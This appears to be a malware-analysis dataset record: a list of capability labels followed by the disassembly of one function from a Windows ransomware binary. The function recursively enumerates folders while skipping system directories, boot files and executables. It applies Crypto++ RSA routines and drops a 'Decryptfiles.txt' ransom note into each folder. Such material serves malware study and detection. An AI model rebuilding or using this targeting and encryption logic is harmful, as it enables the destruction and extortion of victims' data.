Function at 0x40df60
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively
Manipulate boot configuration
Persist via lnk shortcut

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x485257
mov eax, dword fs:[0]
push eax
sub esp, 0x7c0
mov eax, dword [0x4b7134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x708], ebx
xor eax, eax
mov dword [ebp - 0x710], eax
mov dword [ebp - 4], 1
test ebx, ebx
je 0x40dfe6
mov ecx, 0x104
mov eax, ebx
cmp word [eax], 0
je 0x40dfbe
add eax, 2
sub ecx, 1
jne 0x40dfb0
mov eax, 0x104
mov edx, ecx
sub eax, ecx
neg edx
sbb edx, edx
and edx, eax
test ecx, ecx
je 0x40dfe6
cmp edx, 0x101
jbe 0x40dfe6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x40efcb
lea ecx, [ebp - 0x420]
mov esi, ebx
mov eax, ecx
mov edx, 0x104
sub esi, eax
nop word [eax + eax]
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x40e01e
movzx eax, word [esi + ecx]
test ax, ax
je 0x40e01e
mov word [ecx], ax
add ecx, 2
sub edx, 1
jne 0x40e000
lea eax, [ecx - 2]
test edx, edx
push 0x4a5e74
cmovne eax, ecx
xor ecx, ecx
mov word [eax], cx
lea ecx, [ebp - 0x420]
call fcn.0040ae10
lea eax, [ebp - 0x704]
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x714], eax
cmp eax, 0xffffffff
jne 0x40e06b
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
mov esi, eax
jmp 0x40efcb
xor edi, edi
nop dword [eax]
inc edi
lea eax, [ebp - 0x218]
test byte [ebp - 0x704], 0x10
mov edx, 0x104
mov dword [ebp - 0x718], edi
mov esi, ebx
mov ecx, eax
je 0x40e6e8
sub esi, ecx
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x40e0b3
movzx ecx, word [esi + eax]
test cx, cx
je 0x40e0b3
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x40e095
lea ecx, [eax - 2]
test edx, edx
push 0x4a5e7c
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [ebp - 0x218]
call fcn.0040ae10
lea eax, [ebp - 0x6d8]
push eax
lea ecx, [ebp - 0x218]
call fcn.0040ae10
mov ecx, ebx
mov dword [ebp - 0x480], 0
xor eax, eax
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 7
mov word [ebp - 0x480], ax
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e110
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x480]
call fcn.00417fe0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x480]
cmp dword [ebp - 0x46c], 8
mov eax, dword [ebp - 0x470]
cmovae ecx, dword [ebp - 0x480]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x480]
cmovae ecx, dword [ebp - 0x480]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x468]
call fcn.0041a930
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x218]
xor eax, eax
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x440], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x43c], 7
mov word [ebp - 0x450], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e1a0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x450]
call fcn.00417fe0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x450]
cmp dword [ebp - 0x43c], 8
mov eax, dword [ebp - 0x440]
cmovae ecx, dword [ebp - 0x450]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x450]
cmovae ecx, dword [ebp - 0x450]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x438]
call fcn.0041a930
mov byte [ebp - 4], 5
cmp edi, 2
mov edi, dword [ebp - 0x468]
jle 0x40e580
cmp dword [ebp - 0x458], 1
jne 0x40e248
cmp dword [ebp - 0x454], 0x10
lea ecx, [ebp - 0x468]
push 1
cmovae ecx, edi
mov edx, 1
push 0x4a5e70
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e580
mov ebx, dword [ebp - 0x424]
lea ecx, [ebp - 0x438]
mov esi, dword [ebp - 0x438]
cmp ebx, 0x10
mov edx, dword [ebp - 0x428]
push 0xf
cmovae ecx, esi
push str.:_Program_Files
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 0x15
cmovae ecx, esi
push str.:_Program_Files__x86_
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 0xd
cmovae ecx, esi
push str.:_Tor_Browser
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 0xd
cmovae ecx, esi
push str.:_ProgramData
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 9
cmovae ecx, esi
push str.:_Windows
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 0xe
cmovae ecx, esi
push str.cache2_entries
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 0x17
cmovae ecx, esi
push str.User_Data_Default_cache
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 9
cmovae ecx, esi
push str.All_Users
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 0xd
cmovae ecx, esi
push str.AppData_Local
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 7
cmovae ecx, esi
push str.:_Games
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 0x11
cmovae ecx, esi
push str.:_Users_All_Users
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e44c
mov edx, dword [ebp - 0x428]
lea ecx, [ebp - 0x438]
cmp ebx, 0x10
push 0xf
cmovae ecx, esi
push str._Local_Settings
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
je 0x40ee05
mov byte [ebp - 4], 4
cmp ebx, 0x10
jb 0x40e484
inc ebx
mov eax, esi
cmp ebx, 0x1000
jb 0x40e474
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push ebx
push esi
call fcn.0045d669
mov edi, dword [ebp - 0x468]
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x43c]
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
mov byte [ebp - 0x438], 0
cmp edx, 8
jb 0x40e4e9
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40e4d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
mov edi, dword [ebp - 0x468]
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov word [ebp - 0x450], ax
mov eax, dword [ebp - 0x454]
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 7
cmp eax, 0x10
jb 0x40e540
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40e536
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push ecx
push edi
call fcn.0045d669
add esp, 8
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x46c]
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
cmp edx, 8
jb 0x40edd8
mov ecx, dword [ebp - 0x480]
lea edx, [edx*2 + 2]
jmp 0x40edb0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x424]
cmp edx, 0x10
jb 0x40e5c4
mov ecx, dword [ebp - 0x438]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e5b4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
mov edi, dword [ebp - 0x468]
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x43c]
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0xf
mov byte [ebp - 0x438], 0
cmp edx, 8
jb 0x40e629
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40e619
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
mov edi, dword [ebp - 0x468]
add esp, 8
xor eax, eax
mov byte [ebp - 4], 2
mov word [ebp - 0x450], ax
mov eax, dword [ebp - 0x454]
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 7
cmp eax, 0x10
jb 0x40e680
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40e676
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push ecx
push edi
call fcn.0045d669
add esp, 8
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x46c]
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
cmp edx, 8
jb 0x40edde
mov ecx, dword [ebp - 0x480]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40e6d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
add esp, 8
jmp 0x40edde
sub esi, eax
nop word [eax + eax]
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x40e70e
movzx eax, word [esi + ecx]
test ax, ax
je 0x40e70e
mov word [ecx], ax
add ecx, 2
sub edx, 1
jne 0x40e6f0
lea eax, [ecx - 2]
test edx, edx
push 0x4a5e7c
cmovne eax, ecx
xor ecx, ecx
mov word [eax], cx
lea ecx, [ebp - 0x218]
call fcn.0040ae10
lea eax, [ebp - 0x6d8]
push eax
lea ecx, [ebp - 0x218]
call fcn.0040ae10
push 0x5f
mov dword [ebp - 0x49c], 0
lea ecx, [ebp - 0x49c]
push str.boot.inidesktop.inintuser.daticoncache.dbbootsect.bakntuser.dat.logBootfont.binDecryptfiles.txt
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 0xf
mov byte [ebp - 0x49c], 0
call fcn.00418420
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x6d8]
xor eax, eax
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x440], 0
lea edx, [ecx + 2]
mov dword [ebp - 0x43c], 7
mov word [ebp - 0x450], ax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e7b0
sub ecx, edx
lea eax, [ebp - 0x6d8]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x450]
call fcn.00417fe0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x450]
cmp dword [ebp - 0x43c], 8
mov eax, dword [ebp - 0x440]
cmovae ecx, dword [ebp - 0x450]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x450]
cmovae ecx, dword [ebp - 0x450]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x438]
call fcn.0041a930
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x468]
push 0x14
mov dword [ebp - 0x468], 0
push str..dll.exe.sys.mof.lnk
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
call fcn.00418420
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x424]
cmp edx, 0x10
mov esi, dword [ebp - 0x438]
cmovae ecx, esi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e868
sub ecx, edi
lea eax, [ebp - 0x438]
cmp edx, 0x10
mov edx, str.wah
cmovae eax, esi
add eax, 0xfffffffc
add eax, ecx
mov ecx, 0x4bdf48
mov dword [ebp - 0x70c], eax
call fcn.00419f10
cmp dword [ebp - 0x424], 0x10
lea edx, [ebp - 0x438]
push dword [ebp - 0x428]
cmovae edx, dword [ebp - 0x438]
mov ecx, eax
call fcn.0041cc50
push eax
call fcn.0041a730
mov ebx, dword [ebp - 0x424]
lea eax, [ebp - 0x438]
mov esi, dword [ebp - 0x438]
lea ecx, [ebp - 0x49c]
mov edx, dword [ebp - 0x48c]
add esp, 8
cmp ebx, 0x10
cmovae eax, esi
cmp dword [ebp - 0x488], 0x10
push dword [ebp - 0x428]
cmovae ecx, dword [ebp - 0x49c]
push eax
push ecx
call fcn.0041b1d0
mov edi, dword [ebp - 0x468]
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40ec8d
mov edx, dword [ebp - 0x70c]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x40e920
sub edx, ecx
cmp dword [ebp - 0x454], 0x10
push edx
push dword [ebp - 0x70c]
mov edx, dword [ebp - 0x458]
lea ecx, [ebp - 0x468]
cmovae ecx, edi
push ecx
call fcn.0041b1d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40ec8d
mov edx, str.wah
mov ecx, 0x4bdf48
call fcn.00419f10
cmp dword [ebp - 0x424], 0x10
lea edx, [ebp - 0x438]
push dword [ebp - 0x428]
cmovae edx, dword [ebp - 0x438]
mov ecx, eax
call fcn.0041cc50
push eax
call fcn.0041a730
add esp, 8
mov dword [ebp - 0x480], 0
xor eax, eax
mov dword [ebp - 0x470], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x46c], 7
mov word [ebp - 0x480], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e9c1
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x480]
call fcn.00417fe0
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x480]
cmp dword [ebp - 0x46c], 8
mov eax, dword [ebp - 0x470]
cmovae ecx, dword [ebp - 0x480]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x480]
cmovae ecx, dword [ebp - 0x480]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x4b4]
call fcn.0041a930
lea eax, [ebp - 0x4b4]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x770]
call fcn.00415f90
lea eax, [ebp - 0x758]
mov dword [ebp - 0x750], 0x4a6c3c
mov dword [ebp - 0x70c], eax
or dword [ebp - 0x710], 2
mov dword [ebp - 4], 0x14
lea eax, [ebp + 0x14]
push eax
lea ecx, [ebp - 0x74c]
mov dword [ebp - method.CryptoPP::RSAFunction.virtual_0], vtable.CryptoPP::RSAFunction.0
mov dword [ebp - method.CryptoPP::RSAFunction.1.virtual_0], vtable.CryptoPP::RSAFunction.1.0
mov dword [ebp - method.CryptoPP::RSAFunction.2.virtual_0], vtable.CryptoPP::RSAFunction.2.0
call fcn.00425380
lea eax, [ebp + 0x2c]
mov byte [ebp - 4], 0x15
push eax
lea ecx, [ebp - 0x734]
call fcn.00425380
lea eax, [ebp - 0x770]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x7c8]
mov dword [ebp - 0x70c], 0x4bef14
mov byte [ebp - 0x7cb], 1
call fcn.0041d870
lea eax, [ebp - 0x481]
mov byte [ebp - 4], 0x17
push eax
lea eax, [ebp - 0x7cc]
push eax
lea ecx, [ebp - 0x70c]
call fcn.0041d6b0
lea ecx, [ebp - 0x7c8]
call fcn.0040f030
lea ecx, [ebp - 0x758]
mov byte [ebp - 4], 0x11
call fcn.00409ad0
mov edx, dword [ebp - 0x75c]
mov dword [ebp - method.CryptoPP::NameValuePairs.virtual_0], vtable.CryptoPP::NameValuePairs.0
cmp edx, 0x10
jb 0x40eb3b
mov ecx, dword [ebp - 0x770]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40eb31
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
add esp, 8
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x4a0]
cmp edx, 0x10
jb 0x40eb79
mov ecx, dword [ebp - 0x4b4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40eb6f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
add esp, 8
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x46c]
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 0xf
mov byte [ebp - 0x4b4], 0
cmp edx, 8
jb 0x40ebd8
mov ecx, dword [ebp - 0x480]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ebce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x454]
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 7
mov word [ebp - 0x480], ax
cmp edx, 0x10
jb 0x40ec33
mov ecx, dword [ebp - 0x468]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ec29
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
add esp, 8
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x424]
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
cmp edx, 0x10
jb 0x40ed22
mov ecx, dword [ebp - 0x438]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ec86
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
jmp 0x40ed1a
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x454]
cmp eax, 0x10
jb 0x40ecd3
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40ecbd
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push ecx
push edi
call fcn.0045d669
mov ebx, dword [ebp - 0x424]
add esp, 8
mov esi, dword [ebp - 0x438]
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0xf
mov byte [ebp - 0x468], 0
mov byte [ebp - 4], 0xd
cmp ebx, 0x10
jb 0x40ed22
lea ecx, [ebx + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x40ed18
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push ecx
push esi
call fcn.0045d669
add esp, 8
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x43c]
mov byte [ebp - 0x438], 0
mov dword [ebp - 0x424], 0xf
mov dword [ebp - 0x428], 0
cmp edx, 8
jb 0x40ed81
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ed77
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
add esp, 8
mov byte [ebp - 4], 1
xor eax, eax
mov edx, dword [ebp - 0x488]
mov word [ebp - 0x450], ax
mov dword [ebp - 0x43c], 7
mov dword [ebp - 0x440], eax
cmp edx, 0x10
jb 0x40edd8
mov ecx, dword [ebp - 0x49c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40edce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
add esp, 8
mov ebx, dword [ebp - 0x708]
mov edi, dword [ebp - 0x714]
lea eax, [ebp - 0x704]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x40efb2
mov edi, dword [ebp - 0x718]
jmp 0x40e070
xor eax, eax
mov dword [ebp - 0x49c], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 7
lea edx, [ecx + 2]
mov word [ebp - 0x49c], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40ee35
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x49c]
call fcn.00417fe0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x49c]
cmp dword [ebp - 0x488], 8
mov eax, dword [ebp - 0x48c]
cmovae ecx, dword [ebp - 0x49c]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x49c]
cmovae ecx, dword [ebp - 0x49c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x4b4]
call fcn.0041a930
push str.Decryptfiles.txt
lea ecx, [ebp - 0x4b4]
mov byte [ebp - 4], 7
call fcn.00415e60
cmp dword [ebp - 0x4a0], 0x10
lea ecx, [ebp - 0x4b4]
push 1
cmovae ecx, dword [ebp - 0x4b4]
lea eax, [ebp + 0x48]
cmp dword [ebp + 0x5c], 0x10
push ecx
cmovae eax, dword [ebp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
sub esp, 0x18
lea eax, [ebp + 0x48]
mov ecx, esp
mov dword [ebp - 0x718], esp
push eax
call fcn.00415f90
sub esp, 0x40
mov esi, esp
mov dword [ebp - 0x714], esi
mov dword [esi + 8], 0x4a6c3c
mov dword [esi + 0x3c], vtable.CryptoPP::NameValuePairs.0
mov eax, dword [ebp - 0x710]
or eax, 1
mov dword [esi + 4], vtable.CryptoPP::X509PublicKey.0
mov dword [ebp - 0x710], eax
mov eax, dword [esi + 8]
mov eax, dword [eax + 4]
mov dword [eax + esi + 8], vtable.CryptoPP::X509PublicKey.1.0
mov dword [ebp - 4], 0xa
lea ecx, [esi + 0xc]
mov eax, dword [esi + 8]
mov dword [esi], vtable.CryptoPP::RSAFunction.0
mov dword [esi + 4], vtable.CryptoPP::RSAFunction.1.0
mov eax, dword [eax + 4]
mov dword [eax + esi + 8], vtable.CryptoPP::RSAFunction.2.0
lea eax, [ebp + 0x14]
push eax
call fcn.00425380
lea eax, [ebp + 0x2c]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [esi + 0x24]
call fcn.00425380
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x218]
mov byte [ebp - 4], 7
call fcn.0040df60
mov edx, str.written_file
mov ecx, 0x4bdf48
call fcn.00419f10
lea edx, [ebp - 0x4b4]
cmp dword [ebp - 0x4a0], 0x10
mov ecx, eax
push dword [ebp - 0x4a4]
cmovae edx, dword [ebp - 0x4b4]
call fcn.0041cc50
add esp, 0x5c
push eax
call fcn.0041a730
add esp, 4
nop
jmp 0x40efb0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x12
jne 0x40efcb
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, 1
lea ecx, [ebp + 8]
call fcn.00409ad0
mov edx, dword [ebp + 0x5c]
mov dword [ebp + 0x44], vtable.CryptoPP::NameValuePairs.0
cmp edx, 0x10
jb 0x40f00a
mov ecx, dword [ebp + 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f000
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f028
push edx
push ecx
call fcn.0045d669
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045d1c0
mov esp, ebp
pop ebp
ret
call fcn.0046c20d
int3